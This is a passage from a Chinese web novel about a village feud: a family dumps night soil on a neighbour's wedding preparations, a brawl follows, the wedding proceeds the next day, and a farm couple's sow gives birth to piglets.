等听人说明了以后,才连忙往家里赶,一进门就瞧见方小枝头上身上都是粪水的惨样,李河气得浑身哆嗦起来,连句整话都说不出。 顾兰瑜背着一筐猪草从村外回来,看见围了这么些人,他心中好奇,对旁边的顾兰兴说道:“这是有什么大事?看着是在赵家门口,今儿不是李家有喜事吗?” 顾兰兴是打草跟他碰上的,都不知前情,见状看一眼那边,憨憨摇头:“谁知道呢。” 离得近了之后,他俩往人群里挤,这才在四五个人的叫骂声中发现了苗秋莲。 顾兰瑜连忙上前询问:“娘,怎么了这是?” 话音刚落,他就闻到一股子粪味,再看他娘后背黑乎乎一片,其他几个婶子阿嬷身上甚至头上多少都有,心里登时有了几分猜测。 苗秋莲气得破口大骂:“杂种王八羔子!我们好好在院里洗菜,赵家就从墙那边泼粪,卖*的老东西!今天大伙儿都别好过!” 她说着上去就朝赵家大门踹了一脚,院门呼落落直晃,里面的门闩却一直没断。 一听这话,顾兰瑜哪能不气,想起早上看见赵金通兄弟俩连同赵小吉去地里忙了,他招手喊来顾兰兴,低声在堂弟耳边说了两句话,顾兰兴把竹筐往地上一放,就往村外跑了。 “娘,我去喊二哥他们来。”顾兰瑜拎起顾兰兴的竹筐,快步往家里走,今儿这口气非得出了不可。 还没过李家门,他朝里头一张望,果然,顾兰时也在,李梅娘俩儿正哭得凄惨。 “兰时哥哥。”顾兰瑜在门口停下。 顾兰时劝不动大哭的两个人,李河又气得不轻,李保儿个头小,艰难扶着他爹坐下,院里乱成一团。 听见狗儿喊他,他连忙出来。 顾兰瑜一眼就看见他裤管和鞋面上沾了两片黑乎乎的东西,不大,但很明显也是粪水。 顾兰时顺着弟弟的目光看下去,这才发现自己也遭了殃,因院里全是粪水的恶臭味道,连菜也糟蹋了两盆,他都没发现自己身上的味儿。 这可是他今天特意换的干净衣裳,登时也来了火气。 “厌哥在家?”顾兰瑜气得牙根痒,李家就不说了,最倒霉,不想他们家人拢共就来了俩,两个都被泼到了,当真是欺人太甚。 一听就知道他想做什么,顾兰时点着头说:“在,阿奶也在后山。” “行,我再喊上二哥,不知道大哥去没去地里。”顾兰瑜话还没说完,人就往前走了。 顾兰时瞅一眼院子里的李家四口人,因李河在,他不好上前劝慰,大伙儿又都围在赵家门口看热闹。 他看一眼人群,乱哄哄一片,一时不知道要喊谁帮忙。 发现他三伯顾铁桥和三伯娘周冬芹扛着锄头从村口那边进来,一下子有了救星,他连忙赶上去,草草说了几句刚才发生的事,让三伯和三伯娘帮着去劝劝李河还有方小枝,他三伯两口子跟李河差不多年纪,总比他一个小辈去劝慰好些。 顾铁桥和周冬芹都是老好人,和李家虽没太多来往,但平时见了面不会瞧不起人家,还能聊两句,一听如此,就进李家帮着劝了。 原本在看热闹的孙老夫郎听见他几人说话,实在可怜李家的遭遇,背着手跟进去,见方小枝确实凄惨,她骂了几句赵家,又帮着劝一劝,生怕方小枝哭得背过气去。 地里。 赵金通赵金水还有赵小吉正在拔草,忽然听见地头有人喊他们,回头就看见顾兰兴站在地头。 因和顾兰兴不对付,赵小吉皱着眉不知这货来做什么。 “不好了!失火了!快回去救火!”顾兰兴扯着嗓子在地头嚷嚷。 赵金通心头一跳,连忙问道:“是我家?” “可不是!”顾兰兴睁着眼睛说瞎话,脸上没一点儿焦急的神色,反而带着对赵家人的敌视。 李家就不说了,跟他不是太熟,可他秋莲婶子打小儿就对他好,他一过去,总给他塞吃的,今儿不把赵家人收拾一顿,都对不起他四婶。 离得远,再加上赵家三人都有些慌神,没有发觉他眼神,匆匆往家里跑。 一进村,还没跟前,赵金通果然看见自家门口围了好多人,却没看见火和烟,反而是在叫骂。 他心里一个激灵,立即停住脚步,狐疑看向那边,想找顾兰兴再问问清楚,谁知这小子跑得比他们还快,已经溜到前面去了。 不知是谁看见了他们,喊了一声,人群便都朝这边看来,赵家三人心里都突突跳。 “哎呦,活阎王来了。” 突然,有人惊讶之下脱口而出,讲出了心里话,随即压低了声音,连忙低着头往人多的地方钻,生怕被听见是她说的。 顾兰时其实听见了,但没成亲之前,他娘就喊过裴厌活阎王,况且这会儿正恼怒赵家的欺辱,只当没听见。 不止裴厌,顾兰河还有方红花都来了,一看顾兰时和苗秋莲身上的污迹,方红花扯着大嗓门就骂:“老不死的!有本事你就给我出来!” 因刘桂花也来李家帮忙,周平和周石头得了信儿怒气冲冲赶来,见刘桂花运气好,没有被粪水淋到,心里憋的邪火才下去些。 “赵家干的?”裴厌在顾兰时面前站定,目光直直落在裤管和鞋面的污迹上。 顾兰时气得不行,没有任何隐瞒,快速说道:“就从赵家那边泼过来的,这会儿他们装死不出声,可谁家要真出门了不在,又怎么会从里面上门闩。” 因气愤,他声音不小,周围人都听见了,大伙儿都恍然大悟般点着头应和,有早就看不惯赵家人的,直接朝里头喝骂:“装你娘的死!要真没人,是鬼从里头上的门闩?” 这一顿喝骂让赵金通三人脸皮子抖了抖,根本不敢出声。 裴厌个头高,早看见赵家三人在人群那边站着,他直直看过去,却没立即动手,而是走到赵家门口,示意苗秋莲几人往旁边让让,随后一脚将赵家大门踹开。 木门闩断掉的同时,方翠柳魂儿都要吓没了,缩头乌龟一样立即把窗子闭上,也不知想骗骗谁。 窗子发出“啪”一声响,反而叫人发现屋里有人。 窗子闭拢之前,赵老夫郎看见门口的裴厌,在他眼中简直煞神一般,吓得白眼一翻差点昏过去,脚下没站稳,一屁股坐在地上。 院里粪勺还撂在地上,方翠柳泼完粪后,一听那边好几个人要来闹事,吓得顾不上收拾,跟赵老夫郎两个关了院门直往房里躲,谁也没想起来去捡,成了现成的证据。 大门一开,裴厌都不用上手,苗秋莲几个被淋到粪水的,一个比一个恨。 好好在干活,却被兜头泼粪,沾了一身晦气,几个妇人夫郎气势汹汹,直奔屋里去,连拉带打,将方翠柳和赵老夫郎拖了出来。 顾兰时和苗秋莲两个人都被淋了,以前又有矛盾,可谓是新仇旧恨加一块儿,方红花也上去打。 赵小志在旁边吓得哇哇哭叫,却没人管他。 方翠柳被打的头发散乱,鼻血也流了出来,吃痛之下犯了浑,跟这几人厮打起来,可她就一个人,哪里敌得过好几只手。 赵老夫郎上了年纪,老胳膊老腿也经不住打,万一死了有的是麻烦,他只被方红花扯着头发朝脸上扇巴掌吐唾沫。 顾兰时看见他娘后背的粪水,再看一眼自己鞋面和裤管,衣裳还好,鞋子可是去年做的新的,都没穿过几次,他气得从方翠柳身后踢了两脚。 他到底年轻,从小又被上头的哥哥姐姐护着,不如方红花和苗秋莲几人打架时的气势,很快又被挤了出去。 别说他,苗秋莲几个都不如方红花泼辣厉害,老是老了,但依旧打的赵老夫郎毫无还手之力,还脱了鞋用鞋底照着赵老夫郎脸上扇,骂道:“叫你欺负人!今儿把你这老脸皮给揭下来。” 见这两人被收拾,裴厌没有插手,拉着顾兰时远离了几步,说道:“你在这儿就好。” 顾兰时气愤不已,刚才梅哥儿哭成那样,明天原本是大喜的日子,都是这两人做的孽。 “放心,赵家一个都跑不了。”裴厌轻按着他肩膀,安慰一声就朝外走,路过柴房时,他拿起靠在墙上的扫帚,一脚将扫帚头踩断,拎着趁手的扫帚把出去了。 他一出去,外面围看的人莫名噤了声。 旁人都不敢上前,只有顾兰瑜几个堵住了赵家汉子的退路。 “又不是我泼的。”赵小吉看见裴厌朝这边走,吓得眼睛都瞪大了,连忙撇清。 裴厌懒得理他,上去就朝着赵金通打,赵金通下意识躲闪,但还是被打中了大臂,他之前就被裴厌打过,心里只剩畏惧,只有逃的份儿。 赵金水也是如此,连打回去的心劲都没有,别说顾家人,就裴厌一个,都能把他们打得找不着北,心里害怕的厉害。 裴厌一动手,顾兰瑜几人也扑过来,几番较劲,将赵小吉和赵金水按在了地上。 赵金通即便壮实,年轻时和人打架练出来的那点拳脚在裴厌面前根本够不着边。 连多余的招式都不用,只凭力气裴厌也死死压制住了他,他被抡倒摁在地上,人还没反应过来,裴厌提起拳头就是一顿打,赵金通想护头护脸都挡不住。 怕方红花把赵老夫郎打出个好歹,顾兰时连忙将人拉开,方红花还好,身上只沾了些土,再看地上躺着的赵老夫郎,被打得连话都说不出来,满头满身都是土。 外头的动静他听见了,既然报了仇,他心里的气愤消了,连忙劝苗秋莲:“娘,婶子,行了行了,快松开,咱和他们不一样,不沾晦气事,万一给打死。” 苗秋莲骂骂咧咧松开方翠柳衣领子,把手里的鞋“啪”一声扔在地上穿好。 方翠柳年轻,还挺经打,顾兰时见她还有力气哭嚎,连忙往外面走,刚出来就看见裴厌拎着扫帚把,直接打断了赵金通一条胳膊。 见人彻底晕死过去,裴厌“哐当”把手里的扫帚把扔在地上,刚转身就看见顾兰时,他眼神微愣,似有一点无措,心想自己这样是不是下手太重了。 不等顾兰时过去,忽然,李河拿着菜刀从李家扑出来,他胳膊是抖的,满眼血丝。 顾铁桥和周冬芹在后面追,连孙老夫郎也跑出来,连声道:“快快,把刀卸了。” 再怎么受了欺辱,杀人都是掉脑袋的罪,方小枝哭着追出来,她身上粪水还在,明儿就是梅哥儿成亲的日子,总不能喜事变丧事。 李河一副神志不清的模样,众人想上手去夺刀,却碍于刀刃锋利,都没敢直接上手去抢的,怕万一被伤到。 裴厌捡起刚才扔在地上的扫帚把,快步上前一棍子打在李河胳膊上,李河吃痛,手里菜刀落地,顾铁桥眼疾手快,立马把刀捡走。 “姓赵的!老子跟你拼命!”李河满眼是泪,梗着脖子面红耳赤叫喊,说着就往赵家闯,却被众人拦住。 几十年的窝囊气在这一刻爆发出来,他泣不成声,被欺负一辈子了,连自家孩子成亲这样的喜事都要被欺负。 他用破风箱似的嗓子嚷道:“我梅哥儿成亲,大喜的日子,叫你们给搅黄了。” 一众人拦了又拦,直到有人告诉他赵家人都被打了后,他又亲眼看见地上的赵家汉子,这才愣神似的站在那里。 要说起来,他心里清楚,凭自己一人,闹起来也是被赵家兄弟打一顿,不过是想着鱼死网破,就算挨顿打,都得找赵家理论理论,再不然,就是一个死,也绝不能让赵家人好过。 * 赵家吃了个大亏,只有赵金水夫郎周小娥没牵扯进来,他早起就领着两个孩子回娘家了,结果一回来,一家老小狼狈不已,一听又是裴厌打的,他心中一阵后怕,又庆幸自己今日没在家,躲过了这场祸事。 乡下都是土路,打架不可避免会沾上土,裴厌和顾兰时都在屋里换衣裳。 路上还不觉得有什么,这会儿顾兰时明显闻到一股子粪水臭味,心里哪能爽快,骂道:“缺德黑心肠的,死了都没人去哭。” 裴厌把他换下的鞋放在脏衣裳上,说道:“这回吃了苦头,想必他们也不敢再欺负李家。” 顾兰时这才心气顺了点,叹口气说:“梅哥儿好容易定一门亲事,就差嫁过去了,也不知那边有没有听到风声。” 他想一下,又说:“最好明儿照常接亲,是赵家先挑事,又不是梅哥儿他们家做的孽,若是明事理的,应该不会退亲。” “嗯,就看那边怎么想了,不知道最好。”裴厌应和道。 听顾兰时说泉水村那家人并不富裕,儿子年纪也有点大了,比梅哥儿大好几岁,这好不容易娶亲,应该不会轻易退掉。 见顾兰时脸色有点疲惫,他抱起脏衣裳和鞋子,说:“你歇着,我去洗。” 粪水不比别的,不尽快弄干净了,心里都膈应,顾兰时跟上他脚步,说道:“咱俩一起去,早点洗完都歇一歇。” 刚才回来的时候,裴厌让井匠都回家去了,怕顾兰时心里不痛快,两个人在家更自在些。 “也好。”裴厌答应着,走到院里将衣裳放进木盆,他端着盆,顾兰时拿了棒槌和野澡珠,两人锁了门往河边去。 第122章 本该是待亲戚朋友的好日子,不想弄成这样,李梅亲戚本来就不多,只有一个娘舅和一个姨妈,姑母小嬷更是没有。 他舅舅和姨妈两家来得又早,还没收拾好,已经进门了,却看到乱糟糟散发着粪水恶臭的院子,连洗菜盆里都是。 前因后果一告诉,得知赵家受了教训,赵金通断了一条胳膊,其他人也都挨了顿好打,心里那口恶气才不至于憋的火冒三丈。 当时打完闹完以后,里正徐承安才不紧不慢从家里过来。 赵家泼粪在先,得罪了不止李家一户,况且大喜日子泼粪这等行径,实在有些恶毒了,又没有什么深仇大恨,平常骂仗打架也就算了,不好管,偏今天奔着搅黄人家喜事去。 李家向来势弱,也没什么胆量,轻易不敢招惹赵家,村里谁不知道这事,得了消息后,他也就睁一只眼闭一只眼,装没听见那些叫骂打架的动静。 听他孙子回来报信说,连裴厌也得罪了,他就更不想管。 这赵家人也是的,也不提前打听打听都有谁去李家,苗秋莲不说了,一家子本来就不好惹,小一辈的兰哥儿和梅哥儿关系好,这样的大事人家肯定会去看一看。 当真是蠢不可及,裴厌岂是好招惹的,连他都不敢轻易得罪。 十里八村不是没有别的汉子当过兵卒服役,但都没有裴厌那么倒霉,给拉去边境战场上了,还是个战兵,刚回村时那副不人不鬼的模样,想也知道是个硬茬,偏生就是有人不长眼。 里正一到,赵家人才敢哭诉,一看赵金通胳膊断了,徐承安哪里敢让裴厌给赵家赔礼赔钱,不过和稀泥罢了。 既然赵家一家老小都被打伤了,其他被粪水淋到的人出了恶气,彼此抵过,这事儿也就算了。 至于李家,秉性过于老实,见方翠柳和赵老夫郎都被打的,好半天都没法从地上起来,方小枝低头只擦眼泪。 她见识不多,从小到大家里穷人也怯懦,回过神后,担心赵家伤病要让他们赔钱,好在里正并没有偏听赵家,她也就没别的话了。 李河见欺负了他家这么多年的赵金通被断了一条胳膊,怔愣之余,哪里还有别的话,能让赵家吃一次苦头,对他而言,已经是从前不敢想的事了。 因此在徐承安让大伙儿各自回家以后,他并无异议。 回家之后,李梅止了哭泣,帮他娘在灶房烧水,坐在灶前依旧有点哽咽,时不时吸一下鼻子。 方小枝洗了头发洗了澡,换掉满是粪水的衣裳后,才想起给他家帮忙的几个人,心里实在是愧疚。 人家好心过来,却被泼了粪,虽然都没有她这样惨,却也是飞来横祸,好好的衣裳都给糟蹋了。 只是今天实在没法儿待客了,院里一股子臭味,吃都吃不下去,今儿收拾好了,明天王家要来迎亲,只能等亲事过去以后,再请人来家里吃一顿饭。 舅母和姨妈帮着收拾院子,李梅勉强打起精神,将沾了粪水的菜都倒掉,家里就这几个人,他娘遭了罪,又不好只让亲戚忙,只能他来拾掇。 今天特意挖了些春菜,好在春菜早早洗完端进了灶房,在外头的这些,都是一家四口清早出去挖的野菜,肉也在灶房里,值钱的东西都没沾到粪水,算是不幸中的万幸。 虽然野菜洗了还能吃,可心里带着气,又怎么吃得下,也不好给亲戚吃这些,只能把一盆都倒掉。 粪水淋在地上有不少,只能连地皮一起铲掉,正忙碌着,李梅听见隔壁院墙那边传来赵老夫郎的哭声,没哭两下像是被人捂住了,没一会儿哭嚎声变小,渐渐停下来。 他后知后觉,之前赵老夫郎被兰时阿奶打的,半天都动弹不得,想必这会儿才喘过气。 赵老夫郎在村里也算是厉害的,尤其欺负他们家的时候,骂得又脏又快,还指着他娘鼻子骂,这回直接栽在方红花手里,被打成那样,脸上都是吐沫。 铁锨上都是铲下来的地皮,连带着粪水,他停在那里,忽然将铁锨一扬,用力把粪水土块隔着墙丢了过去。 李梅姨妈被他动作吓了一跳,但什么都没说,见有没扔过墙的,还用手指了指,示意他再丢。 把所有带着粪水的地皮泥土丢过去以后,也不见赵家放一个屁,一改之前嚣张的气焰。 做了自己平时绝不敢做的事情,李梅心中生出一阵痛快之感,他站在土墙下抬头看一眼。 乡下人的土墙不算太高,即便如此,他从前也不敢太靠近这堵墙。 墙那边是赵家永无止休的唾骂和欺辱,叫他心生恐惧,连同这堵墙也觉得高而压抑。 头顶太阳高照,晒得他眼睛眯起,痛快过后,心中只剩下茫然。 听见方小枝咳嗽的声音,李梅回过神,见他娘拎着脏衣裳出来,他把铁锨靠在墙上,挽起袖子说:“娘,我来洗。” “不用,你洗过手,把肉把菜切了,你舅舅姨妈都来了,不能耽误饭时。”方小枝眼睛还肿着,没把臭烘烘的脏衣裳给他,自己打了水躲在柴房旁边洗,省得熏到灶房那边。 李梅姨妈没有嫌弃粪水臭味,坐在方小枝旁边低声询问明天接亲的事宜,都怕泉水村那边知道了,万一反悔,又不敢过去瞎打听,要是说错话,岂不是自讨苦吃,只能在心里期盼明天一切顺利。 * 一大早,顾兰时在院里小菜地挖了四棵春菜,扒掉最外面三片叶子放在一旁,等会儿剁碎了喂鸡仔。 春菜长得快,二十天就长成了,如今就算不出去挖野菜,也有绿菜吃。 昨天他俩就同阿奶说了,今儿不用她来,在家多歇歇。老胳膊老腿的,还跟着一起打架,实在是为难她老人家,也幸好赵老夫郎没有还手的余地。 半掩的篱笆门被推开,打井的人进了门,裴厌出去打猪草了,顾兰时放下春菜,招呼道:“周叔,水都烧好了,茶也泡上了。” “好好,我们自去倒。”周井匠答应着。 顾兰时是个夫郎,年纪又轻,不好说太多话,他们进院子以后,不过各自倒碗热茶,喝了就去外面忙打井的事。 井已经深了,要一边下井桡一边打,既费力气又要谨慎小心,是件急不得的事。 几个人连同徐木头都知道昨天的事,乡下汉子打架常见,总有几个凶横的,不过裴厌名声在外,只让人觉得更加不好惹,“功绩”又添一桩。 大黑走到旁边闻了闻土堆和木板,见它这样壮实高大,两个力工“啧”一声,彼此对视一眼,都知道对方的意思,也只有裴厌能养这么一头恶犬。 这一个多月都在这边干活,和大黑已经熟悉,但之前裴厌一直都是和气的,昨天的事情一出,才让人觉得确实不好惹,这不连带着大黑,在他们眼里都有点变了模样。 顾兰时在灶房忙碌,对他们心中所想一无所知,吃了好些时日的野菜,总算有春菜吃了,加上匠人好几个汉子,吃得多,四棵春菜切了一大盆。 离晌午做饭还早,切完他在襜衣上擦擦湿手,这两三天菜量是够了,但都是一道菜,虽说乡下干活能吃饱就行,但总这么有点不太好,不能太亏待匠人。 恰好裴厌背了一筐猪草进门,他解下襜衣,进屋子拿了十几个铜板,提上竹篮说道:“你歇一阵,我去买豆腐,顺便上梅哥儿家里看看,不知道他那边怎么样了。” “行,要是有什么,回来喊我就是。”裴厌答应着,把筐子里的草掏出来倒在谷场上晾晒。 知道他担心自己受欺负,顾兰时露出个笑容,点着头说:“嗯。” 这一声轻快干脆,裴厌眉眼里带上一点笑意。 他没说别的,其实心里也知道,赵家除非不想过了,否则不会再招惹顾兰时,连同李梅。 不说长远的,只这段时日,都不敢再胡乱欺负人。 原本想回来再进去看看,但路过李家门前时,顾兰时脚下一顿,还是拐进去了,边走边喊:“梅哥儿?” 因昨天的事,他目光下意识往赵家那边看,墙上地上溅到的粪水已经不见了,院里再没粪臭味。 拾掇干净就好,今天可是大日子,他在心里这样想着,估计昨天赵家没有再找茬。 李梅从屋里迎出来,眼睛一看就有点红,但胜在没有精神不济,见到他还笑了下,跟往常一样,腼腆又柔弱。 “我去买豆腐,路过顺便进来看看。”顾兰时直言道。 李梅迎他进屋,说道:“也没什么了,昨天他们再没闹事,估计在忙着看病抓药,早起还有煎药味儿飘过来,肯定也没心思再闹事了。” “这就好。”顾兰时一下子舒心了。 李梅没忍住,开口同他诉说:“昨天,我把铲下来的粪水连同地皮,都丢过去了。” 顾兰时眼睛睁大了点,梅哥儿从小怯弱他是知道的,被欺负了只会哭,没想到胆子变得这么大了。 李梅被他看得有点不好意思,低着头说:“我也不知道自己怎么了。” 顾兰时笑着开口:“这有什么,他们丢过来的,理应还回去,这样才好呢。” 李梅这才高兴起来,抬头说道:“我也就那一会儿敢做,只要他们以后别再欺负人,连话,我们家也不愿同他们说。” “放心,他们不敢,这回惹了好几户人家,往后有的是唾沫往他们家吐。”顾兰时安慰道。 他这话不假,昨天苗秋莲几个人回家的路上还在骂骂咧咧,对赵家人的恨意一点都不减,以后赵家在村里,肯定要夹着尾巴做人。 说了几句高兴的话,顾兰时谨慎问道:“泉水村那边……” 提起这个,李梅眼神变得忐忑,说:“没什么别的动静,我娘又不敢叫人去打听,万一误打误撞,叫人家知道了这事,就真搞砸了。” 他忧愁地皱起眉,又道:“昨儿我姨妈没回去,跟我睡的,这会儿在我娘屋里说话,刚才还在说,只要那边没来人,估计就没事。” 顾兰时想了一下,说:“这样,那只能等了,只要赶着傍晚吉时来接亲就好。” 担心再多也没用,今天送亲是李梅自家人的事,他没有待太久,家里不少活呢,说一阵话就走了。 下午。 知道李梅接亲的时辰,顾兰时提前一刻钟喊上裴厌跟他一起去看。 村里有嫁姑娘嫁双儿的,不少人都会在接亲的时候看热闹,他俩过去并不奇怪。 梅哥儿跟他说过,王家有个吹唢呐的亲戚,会帮着一起迎亲。 当迎亲的唢呐乐声在村口响起时,顾兰时松了一口气,彻底放心了,笑着拉上裴厌跑去看热闹。 第123章 唢呐声音近了,坐在炕上的李梅赶紧把红盖头盖好,放在腿上的双手搅在一起,满心羞涩与紧张。 他在房里看不到外面,李家其他人人在院子和门口。 方小枝抬手拢拢头发,生怕自己哪里出差错,转头看见李河,两人脸上都挂起笑容。 昨天的事已经过去,王家来接亲了,今儿是大喜的日子,该高兴起来。 顾兰时和裴厌围在不远处看,因有唢呐乐声,显得十分热闹,原本和李家来往不多的人也都或近或远瞅着。 小孩子平时没什么玩耍的,一听见这动静,都高兴的不得了,跟着迎亲的人一边跑一边乱喊。 吹唢呐的汉子见两个娃娃手拉手站在旁边看他,一边吹一边逗两个孩子玩,两个娃娃乐不可支,一个比一个笑得大声。 都是人丁亲戚少的穷人,王家汉子进门时没有受到阻拦。 李河同方小枝都是木讷老实的性子,不会说什么好听的场面话,更不懂什么玩乐,李梅就李保儿一个兄弟,并无堂兄弟姐妹,况且人家又是新姑爷,没必要起哄为难一番。 泉水村离镇上比较近,往他们这儿得走很长一段路,根本没办法一路背回去。 王家牵来了一头披红的毛驴,没有骡子那么高,却也撑了些场面,新夫郎不用走,就已经很好了。 看着王家汉子背梅哥儿出来坐上毛驴,顾兰时打心底感到高兴,再怎么,成亲大事没有耽误就好。 王家迎亲的人吹起唢呐往回走,小孩子跑着跳着一路跟到村口,方小枝跟李河在门口张望,直至迎亲队伍走远,两人才低头擦了擦眼泪,转身回去了。 外头看热闹的人散了,再听不到喜庆的唢呐声和小孩笑声。 赵家大门紧闭,方翠柳头上缠了两圈细麻布,一侧脸颊高高肿起,胳膊腿上都是青伤。 被两三个人按着打,比上次裴厌下手重多了,她狼狈不已,躲在屋子里也不敢出声,只竖着耳朵听。 等动静彻底消停后,才朝地上啐一口,随即又嘶嘶吸气,嘴里也有被牙齿划出来的伤,一牵扯就疼。 炕上躺着赵金通,闭着眼谁都不想搭理。 昨天傍晚请了草药郎中治伤,将他折了的右胳膊用木板夹住接了起来,一点重活都不能做。 搁平时,方翠柳早哼哼唧唧抱怨不停,今天却一点不敢现眼,生怕再惹恼自家汉子。 赵金通昨天骂了她个狗血淋头,在得知粪水是他阿嬷赵老夫郎从后院舀来的后,这才消停。 往炕边一坐,方翠柳又无声咧咧嘴,屁股上有青伤,坐下不免会压住。 别看她刚才朝地上啐,一副恨极的模样,要真让她去李家闹事,溜得一定比兔子快,躲还来不及。 村后。 顾兰时和裴厌往家里走,夕阳斜照,地上影子长长的,跟着一起回去。 晚风轻抚过身侧,两人并肩而行,手不时轻碰一下,林子里有人在挖野菜,也有从山上下来的,他俩没有牵起手。 想起刚才的热闹,裴厌薄唇微抿,随后开口道:“梅哥儿有毛驴坐。” 顾兰时正高兴呢,觉得风很舒服,连平时地上见惯了成片成片的野花也好看,冷不防听到这一句,他想了一下才明白,笑着说道:“那,我有裴厌背。” 成亲时又清冷又简单,但他从始至终没有后悔过,比起嫁的人,那些遗憾根本不算什么。 顾兰时又笑眯眯说道:“咱们就在后山,离得这么近,要毛驴做什么,几步路的事。再说了,那点钱不得留着过日子啊。” 心结渐渐解开,裴厌转头看着他点头:“嗯,先过日子。” 那些已经过去了,让夫郎天天吃上鸡鸭鱼肉蛋这些荤腥才是当下的要紧事。 * “咕——咕咕。” 拉长的语调在菜地响起,顾兰时拍着手,把一只跑出来的母鸡往鸡圈里面撵。 “汪!” 大黑很聪明,在另一边围堵母鸡,一人一狗逐渐收拢圈子,将惊慌失措的母鸡赶回了鸡圈。 关好篱笆门,顾兰时摸摸大黑脑袋,虽然踩了不少菜,但那是因为母鸡在菜地里乱跑,大黑还是很乖的。 他过去看了看被踩的菜,还好,都是半大的菜,不像菜苗那样娇气,不会被踩死,顶多就是垮了几片叶子。 他提起放在地头的蛋篮子往院里走,刚才母鸡是趁他进去捡鸡蛋时,篱笆门没有关好,才跑出去的。 十六只母鸡养得好,裴厌最近每天都去河边挖地龙喂它们,还撒网捉鱼虾,大鱼大虾自己吃掉,小的就喂家禽。 因此母鸡天天都下蛋,六只母鸭也是,每天都要捡蛋。 养多点果真不错,留下自家吃的以外,其他都能拿去卖。 他和裴厌再加上阿奶,三个人也不是每天都吃,鸭蛋不说,光鸡蛋两天就能攒下二十多快三十枚。 乡下人几乎家家都养鸡鸭,有多有少,舍不得吃,攒一攒要拿去换钱,在乡下哪有人愿意掏钱买,只能往镇上背。 镇上有小钱的人家爱吃,大户人家更是在吃食上翻着花样做,在庄稼人眼里金贵的鸡蛋,说不定于人家只是个零嘴小玩意儿。 他没见过什么世面,但小时候听他外家阿婆说过一些,他阿婆有远方亲戚在大户人家做事,人家那些菜式,根本不是乡下泥腿子吃得起的。 顾兰时提着竹篮进灶房,将鸡蛋放进铺了厚厚一层稻草的筐子中。 鸡蛋什么都好,就是太容易磕碰了,宁水镇离得远,再护着,也会有几个磕裂。 鸡蛋放好后,他在心里算了算,念叨着:“三十五。” “兰哥儿!”方红花的声音从后边响起,听起来有点焦急。 顾兰时连忙出去,问道:“阿奶?” 方红花快速说道:“快,叫厌小子回来,母猪要下仔了。” 一听这话,顾兰时立即就往外面跑,裴厌在地里干活,他心里着急,一路跑出了门,再想到母猪下崽,也不知道能生几个,心里又全是高兴。 第124章 稻苗已经栽下,裴厌裤管朝上挽起,弯腰在水田里拔草,脚上和小腿沾着泥水。 听到顾兰时声音后,他抬头望过去,眉头皱起,一时没明白什么事这么着急,心里难免有些担心。 还没等他问一声,地头顾兰时捡起他的草鞋,喊道:“猪下仔了!” 一听这话,裴厌不拔草了,将单绳背的竹筐往背后一挪,大步就朝外面走。脚上泥水未干,他没穿鞋,把草鞋放进筐子里。 “阿奶在家看着呢,咱俩快回去。”顾兰时气喘吁吁,脸上是止不住的笑意。 “嗯。”裴厌心里也高兴,自家养的猪第一次下仔,他脚下很快,在发现顾兰时小跑才能赶上时,这才慢了点。 和牛羊不同,母猪下仔一般不用人拽,它自己就把猪仔生出来了。 回去的路上两人只顾着赶路,都来不及说话,进门后打井的还在干活,周井匠笑着说:“我刚去看了眼,头一只出来了。” “好好。”顾兰时忙不迭答应一声,顾不得其他,和裴厌直奔后院。 猪圈里昨天就铺上了厚实的稻草,就防着这几天下仔,不想今天就生了。 方红花在猪圈外守着,手里拿了把剪刀和一块麻布,见他俩近前,连忙道:“刚出来一只,剪子我在火上烧了,原想进去剪脐带,可母猪机警,一个劲儿叫唤,还是你俩来。” 裴厌从筐子里拿出草鞋穿上,接过东西走进猪圈,猪仔刚出来,长长的脐带还没自己断掉,母猪还算机灵,没有踩到猪仔。 这猪是他俩喂大的,他一进去,母猪没有那么警惕,又侧躺着卧下了,比刚才温驯多了。 猪仔在母猪身上找奶吃,裴厌轻抓住它,用麻布擦干净它口鼻和全身的粘稠水迹,随后才将脐带剪断,见母猪躺下了,于是将猪仔放在它腹部,哼唧叫的小猪找到奶立即吃起来。 见他干活利索,不用人提点,方红花放下心,刚才还怕裴厌不懂猪下崽这些事。 大黑被母猪的动静引来,跟人站在圈栏门口往里面看。 母猪叫着,大肥肚子一颤一颤,又一只猪仔从屁股后面出来了。 裴厌在母猪跟前照看着,和刚才一样处理,放好猪仔后,将剪刀递给顾兰时,说道:“再拿块麻布来放着,等会儿要换,剪子再烧一烧。” “好。”顾兰时拿了剪子就往前头走。 麻布是他前几天就备下的,猪再抗造,刚出来的猪仔还小,太脏的布用不得,他爹娘之前养猪的时候,他都看在眼里,东西干净些,成活的猪仔才多。 母猪下仔再顺利,也得有个时辰。三个人在猪圈里外操心照看,一个多时辰之后总算下完了。 一共七只猪仔,三只公的四只母的,都趴在母猪腹部吃奶。 裴厌把脏了的稻草用木叉挑出去,顾兰时抱了一捆偏软的茅草又给垫上,虽然天暖和了,但猪仔太小,沾了猪圈地上的湿泥粪尿到底不好。 “头一窝,七只不错了。”方红花高兴地说道。 “可不是。”顾兰时很高兴,见裴厌过来,说:“得空了,去清水村找一下刘信,叫他过几天来劁猪。” 刘信会杀猪也会劁猪,别看五大三粗的,贪一口酒喝,人还算勤快,家里好几个儿子要养,无论杀猪还是劁猪的活儿,只要说一声,他总也会接。 “嗯,我知道。”裴厌答应着,站在猪圈外看一会儿,见有几只体型较长的猪仔,心里就有了盘算。 这样的猪仔体型大一些,养一年喂好了,肉能出不少,得挑着体型大又健壮的猪仔留下三只,养到今年年底,就能杀一头年猪自己吃了。 后院鸡鸭都挪出去了,还能垒三个猪圈,其中一个都垒好了,剩下两个猪圈倒也不急,猪仔还要吃一阵子奶。 顾兰时笑道:“留一只母的,等会儿我回去问问爹,要是不下仔,就全都劁了,养两个月给他拿回去。” “那留只大的。”裴厌说道,见猪仔都结实,没有太弱的,只有七只,母猪十四个奶头够它们分的。 见方红花一直在这里操心,他笑着说道:“阿奶,在前头歇一歇,我跟兰时去山上挖猪婆奶,等回来再剪牙剪尾。” 母猪下仔后,吃了猪婆奶草不但对奶水好,还是一味药,要想好好养上一窝猪仔又卖钱又吃肉,自然得好生伺候。 方红花跟着往前面走,说道:“好,你们去。” 大黑率先跑到前院,几个力工正在喝茶水歇息,得知生了七只,都说很不错了。 顾兰时拿了小锄头,猪婆奶主要给猪吃的是根,镰刀用不上,他背起竹筐,和同样拿了家伙什的裴厌高高兴兴往外走。 进了林子继续往西边山坡走,他忍不住说道:“今年年底,咱们就能吃自家养的猪,到时我问问娘,看怎么晒点猪肉干吃,没事的时候嚼一嚼。” 裴厌也很高兴,说:“嗯,想多晒点的话,咱们就不卖肉了,给家里分一分,剩下的咱们自己吃。” 